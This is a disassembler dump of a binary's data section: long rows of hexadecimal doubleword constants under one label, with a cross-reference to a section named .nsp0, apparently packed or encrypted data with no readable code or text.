		dd 0A68CE44h, 78AB8413h, 0B4579935h, 0F2CB8157h, 570A5614h
		dd 5038BE64h, 0FB9B3113h, 544D0DDEh, 0DB8D30B5h, 90029324h
		dd 373162C4h, 7A31B6h, 1FAEB4A3h, 0BB72D409h, 0C5EC07E7h
		dd 0F64E778Eh, 564E31A8h, 0C55DFB53h, 0E222A47Fh, 0A82E3AD9h
		dd 584BC6F2h, 1977AF30h, 8490FAEh, 1D57F769h, 5EC593BEh
		dd 95D284B0h, 0B7BDF020h, 50E7730Ch, 0A9B9957Dh, 689441B9h
		dd 191AFD71h, 2E721D76h, 165B4051h, 1FD92693h, 0B1C5176Dh
		dd 0A02B2DF9h, 0B9A604Fh, 89F761D8h, 8EAF9937h,	8CE9D33Ah
		dd 0D63EB8FAh, 7952837Ch, 0CC02700Bh, 132D214h,	49AB86C0h
		dd 3BFDC09h, 88BC2B19h,	749E9DE3h, 2FD2D3E0h, 8A8548C8h
		dd 6C5E1D7Eh, 0E1AB4Ch,	4A4A13CCh, 96A2C7ECh, 0F61C78FFh
		dd 0AB67869Ch, 0C6788672h, 27975DBFh, 0B12EB487h, 0F2E331F4h
		dd 2F3060h, 0AF59F2B8h,	0C3CD1D19h, 4872765Eh, 0BE3C7BADh
		dd 2B337A91h, 0B2A26C43h, 149B63A3h, 17CEBE4h, 94160C03h
		dd 317CB148h, 2092FAD6h, 27254F9Dh, 23B90063h, 0BDA684Dh
		dd 1285A506h, 2D104425h, 91DB96A3h, 896B7B7Bh, 2B49FE4Fh
		dd 35DAA202h, 0C1305D6h, 69658743h, 51191B19h, 5D23554Eh
		dd 12194396h, 0DB19F31Dh, 5320E804h, 582575ECh,	0BC785487h
		dd 0C7E4FD97h, 0B4BCC3B4h, 0C1A893E2h, 0B623E7DAh, 8D420572h
		dd 34F3F379h, 0DABA7A69h, 19811DC2h, 0F56B85C8h, 0AC4A0743h
		dd 0AE192DB4h, 1F06D059h, 73D4C385h, 0F6938A71h, 9195D040h
		dd 3ADE8F5Ah, 56F18295h, 0D9D70243h, 8B15E150h,	30BEA0BEh
		dd 0A7EBD53Bh, 753107ECh, 222F94D4h, 7B0F5D16h,	72662885h
		dd 3009B58Ch, 77E12489h, 2BDA8774h, 667AF624h, 6C81FC88h
		dd 0D26987D7h, 0CECDE2FAh, 0C3DAFE01h, 6CF213B7h, 8E6353E6h
		dd 436813E9h, 0D25F2CE0h, 6D669B5Ch, 63279902h,	56559DF3h
		dd 0A4C82Dh, 0EEAB1E54h, 18C87354h, 0E676F1E1h,	76185F9h
		dd 9AE34765h, 3769C1F2h, 9ECA6B9Ch, 0F963B533h,	0ADB022D3h
		dd 525EA374h, 50F516A0h, 0F5813E63h, 3D8DF9DBh,	6F840923h
		dd 810EA7DFh, 6C69B9AEh, 9312C05Bh, 83728B9Dh, 0EB320F9Fh
		dd 0A7B4E2BEh, 0A913C77Dh, 8F6B0D31h, 7BE02CDCh, 0CA220F73h
		dd 0F5E0902h, 4EC3F673h, 0E8A4A5B5h, 96B53515h,	997B7F2Bh
		dd 0EDABC7BCh, 418C404Dh, 0BF755C55h, 395E9210h, 0EECA44CCh
		dd 36004623h, 5A1ACC51h, 57546948h, 0F39E9AB5h,	6B253F15h
		dd 15C9B248h, 0C7188F9Dh, 3E04B1CCh, 0F533F8h, 0D2203B26h
		dd 0C5782628h, 991EE5FCh, 0F2AEF48Dh, 96B8BA54h, 0FD16E0C9h
		dd 0EB042D66h, 0CFBEF9BEh, 417C5212h, 1DF14C8Dh, 8C89624Fh
		dd 0EB70C908h, 8275E569h, 0FF497652h, 0F0EDAD33h, 0D0326770h
		dd 0CCC037AAh, 71399FCDh, 482B39E9h, 0B9EDC70Fh, 0C3905406h
		dd 24CBFA9Bh, 15DE8C4Ah, 133BEFB3h, 6C4F5BEh, 0B613D536h
		dd 9E8C7326h, 2F48B358h, 89A615FFh, 59511070h, 0B4FD5E84h
		dd 77F4882Ch, 88CAF5DFh, 1290497Dh, 0D487C146h,	0A0BC1D3Bh
		dd 13222625h, 11299A26h, 0DA5B4370h, 0AA084946h, 25515257h
		dd 7EC19B92h, 9E041E1Eh, 867FB47h, 2DEAE2C8h, 0AB7294D6h
		dd 79B4437Ch, 42D7A89h,	0FD03BB0Ch, 7F30213Ah, 0E4E72C57h
		dd 0F456360Ah, 41BCCC52h, 80B135Bh, 911B807Ah, 0E4EBCAA3h
		dd 0BC5781D3h, 0CB5E8AEEh, 3CBD1767h, 0BA2B8A60h, 0DE4B4DB4h
		dd 534A8B18h, 92608CA6h, 0BBBAAD00h, 0AAB6BA5Dh, 45CF6E46h
		dd 774896F4h, 0B8860564h, 0B1465E1Ch, 0DDD8AE53h, 8B858C2Bh
		dd 0CA1DDE55h, 0AEEEA246h, 3C8FBEFEh, 0BDC1D7Fh, 0E592E9DEh
		dd 2D86FA6Fh, 0A79D9AC5h, 0A18F6CA3h, 0B760D934h, 8A559032h
		dd 0C06522EDh, 629A2ABAh, 4C970289h, 0C29569B1h, 8BDAE303h
		dd 46B30F7Ch, 0A755680h, 0F55B2D11h, 20EE2F4h, 7D11E35Dh
		dd 664F6318h, 906239DFh, 0D7E81106h, 0F1ACF5CDh, 264439C9h
		dd 0C2B87BEDh, 0FB42E01Dh, 1788602h, 0CFA6960Fh, 8934C107h
		dd 57F591Eh, 0D3F8B224h, 0C9FA39BEh, 84FB08F8h,	25EB2DCAh
		dd 1D09F9C5h, 5DC3CADh,	2B06B179h, 81AB6F96h, 0B5C37C91h
		dd 567FE14Bh, 2029940h,	2E70DE7Bh, 0B911ABF9h, 0E7BA8C86h
		dd 139F33ABh, 2FBB0CEh,	35D6CAEBh, 203F655Bh, 7DDBE1Bh
		dd 0F7BAC0E8h, 0E3A8184Eh, 661708C4h, 76CF4748h, 0D6B087D7h
		dd 2188DC38h, 9EABDB32h, 474DE519h, 0C200AFBDh,	0BFC2D9A8h
		dd 852615AFh, 7843AE4Dh, 0FF0133C2h, 8287E947h,	0B156CAB3h
		dd 37D39260h, 0E3B67EF0h, 3BC2218Fh, 98E818ACh,	0F1D677D4h
		dd 5D509DF6h, 6406F7EAh, 0E9A11FF7h, 4B23BB91h,	0FEC05E9Eh
		dd 388F786Dh, 2FCAB1B1h, 0EE03D218h, 4B02AABBh,	0C1FC934Dh
		dd 32694E5Dh, 0E3C53A11h, 54A54611h, 0E297A830h, 0AFE734E0h
		dd 0F84DCF64h, 4E0B3B7Fh, 5460168Ch, 0FCB1817h,	40486EEDh
		dd 8B2DB9F5h, 0BA0C6E76h, 0DF76AE5Fh, 45126D66h, 0E446FCEBh
		dd 6D342374h, 0C9247AE3h, 0A358BD3Eh, 0FA264AE8h, 0FDBA95C4h
		dd 50F10B13h, 0C987B5FBh, 734BC62Ah, 0D6EBA31Dh, 592D00Dh
		dd 0F6F2FB4Ch, 0CC3DDF28h, 0CA0EA47Bh, 0E842DDDAh, 0D488300Eh
		dd 0F7CBE782h, 0CAEB6570h, 54D6D774h, 0F6EB8726h, 7E25DDD7h
		dd 0EDBA851Ah, 544B80AAh, 50F2AC33h, 5B23B8CEh,	333240F5h
		dd 79D8A8A4h, 976D2501h, 0C8D16446h, 75FEFB3Fh,	0D1DBCBA8h
		dd 0B92133FBh, 0EF9DFF39h, 0DD75629Dh, 42FF9558h, 0F2E10332h
		dd 1F54A518h, 931D0450h, 43E7BF86h, 0BCE7E2D3h,	0F0284B17h
		dd 0C2764695h, 0DCE97AD3h, 0E7E648A8h, 43933CA5h, 7A6CD2ADh
		dd 88CCCE7Ah, 0BA85B487h, 0E9E92BF4h, 0EE35D033h, 46E4183Ah
		dd 27638520h, 834372ECh, 2CBB063Bh, 20081D79h, 7C3E5EE8h
		dd 576A971Ah, 8F26D612h
		dd 2991136Bh, 94DC0FE8h, 77F9C3CCh, 89660655h, 0FCA336F3h
		dd 0B12D6DA4h, 97F2005Eh, 0FC4D8898h, 89B36D74h, 0EFB50AC1h
		dd 9A3CE093h, 2FD2AA4h,	875C9DCh, 0F474895Dh, 248C57Ch
		dd 253D4C8Ah, 623F1B7Ch, 608CE779h, 0E9105583h,	2DD7133Bh
		dd 5172EE0Fh, 2606D37Bh, 0CDD0070Fh, 0DC2044E7h, 28D01509h
		dd 0C57D491h, 839332A7h, 8A710452h, 0C3645278h,	91B6894Bh
		dd 78426B20h, 0F5DC3F68h, 97782BDCh, 69ECB83Dh,	0DCEE6663h
		dd 9B48B82Fh, 0AF105B7Bh, 1D361D22h, 1675143Ch,	9037B5B4h
		dd 0DFEDBBE1h, 44E7FDE5h, 73AE6511h, 0BEFB599Fh, 0A07365B1h
		dd 986847C2h, 5AFEA257h, 0B5227387h, 0C1BA403Eh, 0BAC0CF43h
		dd 0B7B5572h, 69375BC0h, 859C68B3h, 25BB7BA8h, 313AF334h
		dd 8DBF7F6Fh, 0D3976258h, 0A5B503B1h, 35763C66h, 628F88Bh
		dd 70F7A473h, 6729047Bh, 7E2569DBh, 6B238196h, 7C5E14CBh
		dd 83BD244Ch, 500147E7h, 0C6D22C0Fh, 7CDD4C9h, 0DB8FA891h
		dd 501D3E76h, 0E5E66FD7h, 3344D80Fh, 1D11BB54h,	0AECB5F12h
		dd 949DB339h, 0DD0F4F95h, 0D6837F6Bh, 0D291735Ch, 175173Bh
		dd 0AD2E3FE4h, 0BB7C9E42h, 0CE0BEE09h, 622AF4F7h, 0DA1BECD6h
		dd 491B201Eh, 0F046F648h, 10FC26Ah, 0B38A4D08h,	0A4700C7h
		dd 0C4980F61h, 2A739FBFh, 0D246189Fh, 0C224A41Ah, 99D56EB9h
		dd 0EA406D70h, 85ED73A9h, 0EBD9A35h, 70719126h,	0EB5B2890h
		dd 634026BFh, 75ADA9C8h, 0C3D0E43Ch, 0D47F9887h, 427B47C8h
		dd 0E28BC7AEh, 554C122h, 83C4642Ch, 0C39A4E09h,	8034B8DDh
		dd 8C6ECD7Ch, 0AF666EDFh, 6E1A540Fh, 12EEBD55h,	6C1FE833h
		dd 714BF97Dh, 980F0AD4h, 1145730h, 106AAB7Ch, 4070ED6Bh
		dd 189C8F9h, 0B79ECF52h, 7B2E2CA1h, 0C78D95C0h,	0D4B183F9h
		dd 0F1E40E24h, 0B81190EFh, 0E8EAADB4h, 3606349Fh, 25314EFh
		dd 0EFB7BEB6h, 0D8FA90E1h, 500A983Ch, 24B93DDFh, 3E82C5A9h
		dd 65E2DB24h, 0AC6B8FE4h, 61D12CD0h, 1AF542CDh,	0CC17BDBFh
		dd 8CAD83E6h, 0AE26CACCh, 4F458FB8h, 0B372202Ah, 57E32E6Ah
		dd 9B57DA5Bh, 0C2079169h, 0FED36358h, 9AC12C5Ch, 0C043C102h
		dd 90B165FDh, 0B582B7DFh, 15DDE5Ch, 1AB6D72h, 20FC66D8h
		dd 0FA18D5BDh, 18CA1C79h, 0C81D5090h, 0E4E42FAAh, 92A3AD0Ch
		dd 0B9C349A0h, 0F307F2F0h, 1CF6F907h, 0A0A84907h, 5EAF308Fh
		dd 0AA3C5376h, 0E6B1F963h, 8A0292AFh, 0EBDB1689h, 0CC42136Dh
		dd 0B4B1287Ah, 0ABF69105h, 755F2B93h, 0DD1EC32Ah, 5AA36167h
		dd 0CF7E0D27h, 759BB16Eh, 96AB1B6Ah, 4F2A564Bh,	0ACF3219Ah
		dd 0C5776FFBh, 55A9DD7Ch, 0B818F553h, 0D994C437h, 757FDD37h
		dd 2867379Ch, 28754E63h, 0FB83A6EDh, 7248EDB4h,	0AFC559A9h
		dd 5F00F050h, 0DA7FE412h, 0EFDFC6FCh, 5EE729BDh, 1964E2CFh
		dd 0B3A6780Ah, 4DE7438Eh, 0F1C1714Dh, 50938038h, 0C68C2F47h
		dd 0E2A554B6h, 6E85DDC9h, 734F4FDEh, 551EDE4Eh,	61A2B556h
		dd 35D24D3Dh, 159D4D35h, 97F1DEA8h, 0C72CA730h,	6F1ABA48h
		dd 56BCBF7Fh, 0F9B64946h, 4C3C33E9h, 0B813BFCCh, 7784AD6Ah
		dd 0BAF3D225h, 71E2BA4Bh, 97401C98h, 7866189Ch
dword_4E414C	dd 0BE779600h, 0DEF50BCBh, 434B4EF2h, 9B4A2213h, 935FE9ECh
					; DATA XREF: .nsp0:off_43AB0Co
		dd 6D55CF24h, 779B5BF8h, 0C95BD6BFh, 58EBB676h,	0FCB7CBE3h
		dd 0E451BCA5h, 0BEA87D5Ah, 42E1F6D1h, 68497AE0h, 0F921AA32h
		dd 0E79619CAh, 0FF101298h, 0FD2471A4h, 8B3CE76Dh, 0E19828EDh
		dd 30D77201h, 85BCF04Fh, 0B42C0CE1h, 2F20EE46h,	0FAD9EB4Ah
		dd 8CE633B3h, 0FDA51C9h, 574DEBCFh, 0F3114641h,	934AAC9Fh
		dd 0D9CC0CAFh, 0E65110C1h, 0F3CD3508h, 0A4E34348h, 84CEDF66h
		dd 0C86EE45Fh, 78792B37h, 0B091FECAh, 4582CC85h, 27BF01E9h
		dd 0CFBE805h, 0D67DD1FBh, 6B6B5BEAh, 0FE307B2Ch, 30EC136Eh
		dd 0C4842B00h, 6FB829A5h, 0D669E82Fh, 8CBFFFFCh, 17DF2529h
		dd 175C0DA1h, 6F592522h, 0A8753ACBh, 632B6587h,	94F871D1h
		dd 0C55CA417h, 7D06EC94h, 0DAEE6124h, 0C9AE8DAFh, 8BE54569h
		dd 42DD15C5h, 0F5455E99h, 12F3E9B5h, 0B1BBA1D9h, 3D09B186h
		dd 74871C94h, 0B85AA679h, 0CB540A9Fh, 0B7950BDAh, 9B803CBFh
		dd 0F402229Bh, 0BF5A2E24h, 0D4B9CDBAh, 68235D89h, 40D74BC2h
		dd 0AC5F90DAh, 85609561h, 0F417560Ch, 2E5A3D60h, 0E8EB97C0h
		dd 4E8FAC4Ah, 0A7F72F36h, 0F0DD0F88h, 94F80D95h, 12769559h
		dd 8423285Ch, 3BE0D18Ch, 3163B5Fh, 0F2EEBBF6h, 7A7395C5h
		dd 0E51D321Fh, 0F727083Bh, 667CD71Fh, 9A0E5407h, 6984E6B5h
		dd 5267D976h, 4B2407EEh, 52FCD21Bh, 0AFBC8CCBh,	9B97621Ah
		dd 0D733BB87h, 272BC545h, 554F5AA9h, 0EC3C7C8Fh, 67B268B6h
		dd 50FA8043h, 0EC60AE40h, 0CDFCEEEFh, 895F2D52h, 0BF66AB03h
		dd 18052EFCh, 56FA56E8h, 138CA149h, 0AE071B64h,	0A97F38ECh
		dd 8052143Dh, 0C71F8F8Dh, 0E24E9A2Eh, 0FE311ECFh, 6703F5D6h
		dd 0D30002C2h, 52FEDCA2h, 0D290196Bh, 0C5637758h, 0FC04AF2Eh
		dd 3B19AE88h, 0F005E3BEh, 473916D5h, 5AA8DD5Dh,	0E9874F43h
		dd 0E635537h, 0A66339F6h, 0DD9A9ED0h, 8F9994C2h, 0F0BB23FDh
		dd 5D34B4ABh, 3324B2A7h, 2888CBEAh, 0DF1B79E1h,	775C8A8Dh
		dd 5A76A959h, 653D39ACh, 62AF3633h, 0D5BACD4Ch,	0CBBADAB3h
		dd 0DCA3AD60h, 0B606706Bh, 67AD6381h, 80C81FC6h, 72767EC9h
		dd 1E2ECD1Dh, 6E35D495h, 0F95668Ah, 1B86BC5Dh, 0B37F4BDAh
		dd 84FBB64Eh, 26A8F4B5h, 4E4CFD3Eh, 0ED60ABDCh,	1A74Eh
		dd 7BFBA5DDh, 400462C2h, 94CEDE3h, 3159E31Dh, 0E2E7D624h
		dd 0C6798C1h, 4D695F3Ch, 4402A14Ah, 91759E93h, 0DE44482Fh
		dd 7939C6F5h, 0E98AECC7h, 9940629Bh, 2C8F3691h,	0EF7481E2h
		dd 0CE8AD23Ah, 0BCB2DBD7h, 0F54C0964h, 84AEF38Fh, 0F5230AE9h
		dd 153A2E41h, 85767A3h,	490F618Fh, 79B32690h, 0EE073613h
		dd 0F307FB8Eh, 0F5A8A2CAh, 62926F9Bh, 0F9C56ECDh, 3A715917h
		dd 607D544Ch, 8FD0596Fh, 31A4094Bh, 0E0FFAF1Ah,	4EC4EFF8h
		dd 0A1A7F08Eh, 0BFECC5FDh, 955D1832h, 1FE06C42h, 66785997h
		dd 59948CF6h, 8B497FD0h, 0E5C6A657h, 7DBF7E8Bh,	6469D471h
		dd 27814A77h, 0C0D0F2B5h, 1AD2FF1h, 0F9C7554Ch,	95EAEC14h
		dd 77324233h, 53821B86h, 9599967Eh, 0CA1DC4E7h,	0E12D9426h
		dd 0A3ED45Ch, 11861327h, 7864A0B0h, 6234868Ch, 0B9A309A2h
		dd 4D9666EBh, 0D2EBA0F5h, 1B548369h, 4F5FE540h,	0C9948067h
		dd 91B343EDh, 0A3905AF9h, 0A041F82Dh, 0DE3E434Dh, 0F2EE9EA4h
		dd 0B70E8E12h, 1992E533h, 931DAF1Eh, 0C5E704A4h, 0EE20D117h
		dd 3E54887Ch, 401DD701h, 0B1476A14h, 0A27F8FE7h, 746B37F8h
		dd 9132969Eh, 13326871h, 0C1747B16h, 0EAAFFF0h,	0E1A80321h
		dd 0B4033DC2h, 0D8B4745Ch, 4F76649Ah, 94849FAAh, 0C2BD81C2h
		dd 5238CD2Ah, 2EDB8363h, 0D445582Fh, 58A1EA20h,	0FE276D9Dh
		dd 171431B0h, 0E07FF15h, 0C4E9FCC2h, 21C77579h,	9DC96FDDh
		dd 45776D75h, 0B1B9610Dh, 887CD2EFh, 0D0A04AFCh, 0C4BB2C04h
		dd 0B1F9F47Ah, 255A756Ah, 5E1692BCh, 0A33034BCh, 3A321CADh
		dd 787528B5h, 9071B2D2h, 89E04565h, 38E190h, 12EED5ECh
		dd 0F1F070B7h, 1D967793h, 0CB3CF338h, 0B6A6BCEAh, 0FF045E71h
		dd 0FAC940E9h, 6BEF4CACh, 1B240458h, 74EEAD36h,	88D68C64h
		dd 67E331EFh, 9A7B0404h, 0C9165D27h, 0D11C09F0h, 0A491E068h
		dd 5E39212h, 242C22B6h,	3ECD4CB8h, 3CDDCDAh, 7C28E04Dh
		dd 6C0DB63Bh, 2626E588h, 0E3049Ah, 0B4357EBAh, 0EC32ABF4h
		dd 2FFC608h, 5A8C3672h,	0A6EE17B9h, 9C09E029h, 437FA086h
		dd 0F1208D66h, 0B5300AD1h, 0BEDACCCFh, 0D5D3D284h, 1589AC39h
		dd 9B171A1Ah, 869E6C17h, 7419AA9Ch, 762903EFh, 6CD099FFh
		dd 2ADE4D01h, 98B51823h, 0BAD2ABDFh, 26E6B2D9h,	0CB8C1250h
		dd 5377EC42h, 6173888Bh, 727BB326h, 32164856h, 7B788C38h
		dd 0A86CF23h, 9C8897C4h, 0F3FAFFCh, 0AC8DA7CAh,	9D47FB79h
		dd 85B9A8B5h, 71291E89h, 23D9E276h, 47C6F0A0h, 5C166FF4h
		dd 478DA150h, 0F8B16432h, 0CD42934Bh, 38154904h, 0B00AA0E1h
		dd 585D7BCEh, 3A98238Eh, 0B430196Bh, 2302E78Fh,	0D0881F8Fh
		dd 5AB354B6h, 6E98FCA5h, 0C1315FC7h, 6282F022h,	7F226411h
		dd 42BD9776h, 7442DB44h, 5C303183h, 38AE5606h, 0FCAD2E5Fh
		dd 7E0EF501h, 0F3BC93C4h, 1B01DAA6h, 0F1200282h, 585F8984h
		dd 8D05B607h, 0EB2D0696h, 3696A311h, 0E8532BDh,	0D0188A33h
		dd 0DDBF14AAh, 65F1D4B7h, 0F097C6E5h, 666D491Dh, 0F7F755BCh
		dd 50266C82h, 0F088037Eh, 0DC49F3Fh, 0B2663A12h, 0A3E4A121h
		dd 467C83FEh, 0B774FFB5h, 0BAD3DD59h, 6CECC066h, 0E7A340A3h
		dd 73913DCCh, 0BD5384ECh, 879900D2h, 0D1606058h, 0A23BEB95h
		dd 0D4535535h, 65C606F6h, 5B2E891Fh, 49E8ECEAh,	0CB6F2775h
		dd 9973398Ah, 48E91DCDh, 4A17AC05h, 6EDFB418h, 2AAB735Eh
		dd 0EF0603DFh, 0AB80EF4Fh, 6D2411FDh, 38DE3823h, 83CC0F87h
		dd 9CAE45CAh, 0CB39C3Ch, 0F83E820Bh, 63BC1FDAh,	7D976905h
		dd 0A707908Fh, 473FD286h, 0ED6A09F8h, 5193A4F6h, 39873105h
		dd 0A8DE5F0Eh, 0FECB3172h, 30C526A2h, 0C16821D4h, 0E03C7EB9h
		dd 0E7451CF6h, 384A7999h, 14BCAEE6h, 6B91AFB9h,	74DA69E1h
		dd 0FA4E44DDh, 3151BCEAh, 9C5D6F22h, 0A4399173h, 3A7D4F0Eh
		dd 8EFC04A3h, 0B81BBAA7h, 17EAE29Fh, 0F1E7285Dh, 6680375Eh
		dd 2C056E14h, 4811C9F5h, 29D06FDBh, 0D0F7A0C1h,	0D9A888E8h
		dd 9C0A3032h, 0A6526B48h, 6659E0E7h, 9EA26AE9h,	0EDAD8BA5h
		dd 0E18045F4h, 473A9954h, 0DBE380FAh, 0B41B4145h, 0C064056h
		dd 202FE3ACh, 8E4D00B2h, 0C644EED2h, 6B7E64B4h,	0A1D234D1h
		dd 4B2A92D6h, 393A417Dh, 80295457h, 3B9EE5BCh, 0B4CC3DCCh
		dd 0AFF730D9h, 86986D6Bh, 3A4FADF2h, 420302A1h,	0BAAC6E9Dh
		dd 1FEA1EA7h, 6EDD14Eh,	0B7691191h, 212C720h, 0DA567A41h
		dd 0F9711B33h, 0E73DED3h, 0F4BBE315h, 0CEC8271Ch, 9D8A3E3Eh
		dd 0B1FC79D3h, 7112AAE1h, 7DA4A99Ah, 0A9FB77C6h, 9315988h
		dd 0CE1912DAh, 0FDF08A14h, 44EC3D0Dh, 835382D7h, 95350A86h
		dd 0CC1AD16Eh, 0B5F101B5h, 84904586h, 50974DBBh, 0B4ACFF98h
		dd 9994AD13h, 0A2ABEE85h, 0B31674DFh, 24A05356h, 20851EB8h
		dd 176A52E8h, 8AD8F28Ch, 896063E5h, 56838BB1h, 83FADC15h
		dd 30D1F714h, 0FC51A336h, 89AAFFA6h, 247B7A29h,	0BA609894h
		dd 8477AF52h, 43CD4FD0h, 9FAD7E33h, 0B8C815BFh,	59644C22h
		dd 414F990Fh, 0B968EB76h, 65AEF1B6h, 973E8F51h,	6E5E6D5Fh
		dd 737C0D9Eh, 0FE37E800h
		dd 0C4802A09h, 0D11E2FA0h, 6F4B0984h, 0AD2C1FE4h, 0CC221630h
		dd 0E0F17ECEh, 0CA636CB0h, 9275DEEDh, 0F094F804h, 0D7E8C1AFh
		dd 5B419159h, 0FF0DE0A9h, 1CE9FBC5h, 0C7FEC740h, 39742EE1h
		dd 11B8D80Dh, 65840B9Bh, 4E5E1764h, 4AF6E8B9h, 2CC7F527h
		dd 34A6DD5Bh, 1B2388EBh, 0DB851E28h, 26C9A254h,	0D134F7C9h
		dd 0CE274A95h, 0C38BF805h, 3A98188Ah, 0D52A0A65h, 0D6D72EF4h
		dd 304C366Bh, 0A642371Eh, 1D8BB5Eh, 96618275h, 6C84576Eh
		dd 0EF590EA1h, 0E7AD55D4h, 76DA211h, 97BB606Ah,	7F78AB0Fh
		dd 19CF6E78h, 0F2C9F99Bh, 0F2F32FC2h, 78EB4D0Eh, 0A7781210h
		dd 0F7200C32h, 9D9247BFh, 1FE59B45h, 43B6E88h, 0AC9EB6A6h
		dd 23C71091h, 24B970BEh, 2A580059h, 620E1A32h, 9C049842h
		dd 4E76EF90h, 4916A05Bh, 2FD0FD88h, 950DD111h, 0B0461750h
		dd 0CD7AD12Fh, 0B0E1A5BBh, 49CDBA7Eh, 77CEE88Ch, 337D07A2h
		dd 633C865Dh, 8338D63Ch, 0B60A3B3h, 0D5C3B71Ch,	9A58CD00h
		dd 0D226B54Ch, 3EEAE31Ch, 76115E86h, 0F27D4CC6h, 0F142A095h
		dd 2FB51B69h, 0D1E264B1h, 0F1BBDAEDh, 90C7A0C8h, 659001FFh
		dd 2A65A60Fh, 34428A6Dh, 85C91255h, 0FD8F618Bh,	688CCF02h
		dd 8D303AB3h, 34BD487Bh, 0EC6DDDDBh, 34AB7EDCh,	50CC9E44h
		dd 607C13D9h, 20D386F4h, 0D52318B7h, 0D482B5E5h, 66DD86B7h
		dd 548C0B38h, 4A7F26A5h, 0A4921EE3h, 1A34162Ch,	487EEBC9h
		dd 0F03C0E9Ch, 312ADA2Eh, 971F99Ch, 0D138733Eh,	46930675h
		dd 53BFA384h, 897D6789h, 4E5E88BEh, 73A71C28h, 0D2D2E07Ah
		dd 6F34EA70h, 5E9DF4DBh, 4DB930F9h, 0B42C447h, 0C770F043h
		dd 3E5ADF8Ch, 9E61A0AFh, 7443BF5Eh, 48233DB8h, 80CC46C3h
		dd 4C427196h, 8512918Ch, 3DF666B1h, 0D899AD60h,	0CE1F8E7Fh
		dd 0D7400482h, 3475B507h, 0A830BE34h, 1979FC9Eh, 0FD04A523h
		dd 65D7418Dh, 0A8CACA1h, 1308E894h, 0BFF33A48h,	15182445h
		dd 29FCD44Ah, 0E8F1832Fh, 0B7E979A6h, 6DAD2278h, 0B5219600h
		dd 6AEDB15h, 0C07E0A5Bh, 0E889A233h, 88F9C107h,	0F2F6BBB0h
		dd 41DEB491h, 3876C7A7h, 98EF4734h, 3CC7C1A2h, 0D32A3653h
		dd 0D61BEBCDh, 0EABFB315h, 6589E571h, 44976889h, 7D9CF3EDh
		dd 0F0E990D9h, 0EDE9E4Dh, 668055D4h, 0E1AC0CA6h, 5DBE67C5h
		dd 2B689621h, 9221968Eh, 2F08F2D6h, 34A29F91h, 6D7A3891h
		dd 0DA62E85Eh, 0C8133200h, 762E644Fh, 0D77AB4Ch, 3AAC9413h
		dd 13E5CF9Dh, 4D27E5EDh, 2FE836B8h, 296F10A6h, 0AA690E5Dh
		dd 0A7E31591h, 0BA55C49Fh, 0D524BFA6h, 0C46E81BEh, 8DC5FB5Eh
		dd 2930DEA4h, 588A6B48h, 0A6D3A4E9h, 10CBB83Dh,	78861AD9h
		dd 0BDCFDF35h, 3E12D280h, 779FD164h, 475666DEh,	92398709h
		dd 71D99355h, 0C9CB8654h, 245C7A31h, 0A5B76838h, 2C3062ADh
		dd 95AFC52Ah, 95E9EFF4h, 16D86FF3h, 0EB70E8A0h,	18479687h
		dd 4E802C0Bh, 0F383DCCFh, 175835D9h, 0F775B882h, 64601EABh
		dd 45751533h, 13C74816h, 10E06037h, 0BB67780h, 9389BBE6h
		dd 0C7E9F7FCh, 0C0E14868h, 0CF8F8363h, 577DE6E9h, 4C98764Dh
		dd 13F7967Bh, 0AC6302C6h, 0FC0BA6F7h, 0E8978CD9h, 0D85E3390h
		dd 0B651E187h, 0E0D7791Eh, 68835272h, 0E85D691Bh, 61EDA809h
		dd 0A79AEC74h, 87A9E2DAh, 938D4383h, 59B037B2h,	47F6609Fh
		dd 0A69C7C0Dh, 0CAE43E0Bh, 42B09D9Dh, 0AC819D6Ch, 584A8200h
		dd 6DF1D5DFh, 9752D062h, 0CBABCE46h, 0BAFA79BEh, 95CAABAEh
		dd 9ECC1D65h, 13A9344Ah, 0D9951539h, 0C8289A2Eh, 6C654C56h
		dd 4AEA5DC4h, 9AF67DD6h, 791682B7h, 0F66C5FE9h,	9CAE1F2Bh
		dd 0B95FDA94h, 0F5EA00E7h, 0C3FA5710h, 0F8851489h, 7BDC62F8h
		dd 1BB18B9Eh, 5A70FF39h, 8D590493h, 60399E5h, 7D68AC92h
		dd 8DA2455h, 0F1937625h, 0D3852DFFh, 488F2EF1h,	0DDB6CCCBh
		dd 385AEB8Ah, 3950891h,	0F75C6D4Bh, 0DE42A727h,	4C96D29Eh
		dd 0C18C9FBh, 5247F561h, 0BA46C0E9h, 0BE19CB17h, 280AA651h
		dd 546052CBh, 0AD4C2536h, 0D3093666h, 7F76F01Ch, 9935FB20h
		dd 0AF594DB6h, 7F8CF40Ch, 20277635h, 0B5FA9967h, 0BB115C67h
		dd 73DD82Ch, 0B83750F7h, 0E458CCB6h, 0FD22C423h, 268119B7h
		dd 15892ABEh, 0CE77F5DAh, 0B2D22570h, 66B5C367h, 0AAEBF5AFh
		dd 2BBE720Ch, 0F90CA1A1h, 0C5999AF2h, 0ADCBE502h, 57A5C174h
		dd 0F384F478h, 83F619A0h, 0D8E3090Ah, 6BB0BBACh, 80773D16h
		dd 461BA575h, 3251340h,	0FE6B731Ch, 9DA3492Ch, 0B82E7840h
		dd 0C08DF239h, 2DD71202h, 5FEE088Bh, 24315D1Dh,	0DA1ACEDCh
		dd 0C7FB9CF7h, 0BF1FEA8Eh, 0B7FC5DE2h, 0C7D56B21h, 262A67BCh
		dd 75D67BAAh, 0AA84902Fh, 9BDF229Dh, 35C88BFBh,	7E594CC0h
		dd 4E0B1B0Bh, 0C298223Ah, 16B76F34h, 0B97E7363h, 9FF594BAh
		dd 0F80871A6h, 0D8A18C6Bh, 7420A4D1h, 4FFC8C5Ch, 5D2E9958h
		dd 0F681FB3Fh, 4AB0AD22h, 4E254ED0h, 0DC01AED5h, 3BC8BF84h
		dd 678FD5B1h, 0A5F09C42h, 8E0B6948h, 0DBDC178Fh, 43A242D8h
		dd 7CBB215Ah, 0F3E90B13h, 1D711961h, 36974A50h,	0B3F1EE76h
		dd 9E9714ECh, 719D2DC3h, 753B605Bh, 0CC80B70Bh,	2989466Dh
		dd 35C341F3h, 5F407A2Ah, 4D3C6801h, 158EA17Dh, 563E03E7h
		dd 0F6D14D59h, 794BE765h, 1944770Bh, 57B17C7Ch,	3C17EE03h
		dd 0CBFDC217h, 6C3B4B8Ah, 587A76F9h, 0A737BE69h, 41533D31h
		dd 27FBE4D2h, 5326AAB1h, 0B3A91A12h, 3927E4F0h,	0FB5CB5F4h
		dd 0C8AB7082h, 7DE944EAh, 0D2CAE6AAh, 4119AEAh,	99F555B7h
		dd 0C9EE2083h, 990F65B2h, 0D151E973h, 9E694D9Ah, 2442518Eh
